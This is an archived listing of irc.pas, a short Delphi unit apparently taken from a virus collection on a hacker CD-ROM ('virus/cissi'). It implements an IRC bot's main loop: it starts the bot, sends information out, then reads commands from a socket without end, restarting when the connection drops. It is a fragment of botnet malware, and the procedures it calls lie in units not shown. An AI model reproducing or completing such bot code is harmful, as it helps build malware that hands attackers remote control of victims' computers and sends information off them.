home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 15 / hacker15 / 15_H4CK3R#15.ISO / virus / cissi / irc.pas < prev    next >
Encoding:
Pascal/Delphi Source File  |  2003-09-21  |  582 b   |  29 lines

  1. unit irc;
  2.  
  3. interface
  4.  
  5. uses windows,winsock, main;
  6.  
  7. procedure mirc;
  8.  
  9. implementation
  10.  
  11. procedure mirc;
  12. begin
  13.  StartUp;  //Starts bot
  14.  SendInfo; //Sends Info
  15. while True do
  16.  begin
  17.   if (recv(Sock1,buff,SizeOf(buff),0)) < 1 then  // Trys to read from socket if
  18.    begin                                         // the Recv() comes out to be
  19.  
  20.     Restart;                                     // then it will restart. If not
  21.    end else                                      // then does the ReadSock procedure.
  22.     begin
  23.      ReadSock;
  24.     end;
  25.   end;
  26. end;
  27.  
  28. end.
  29.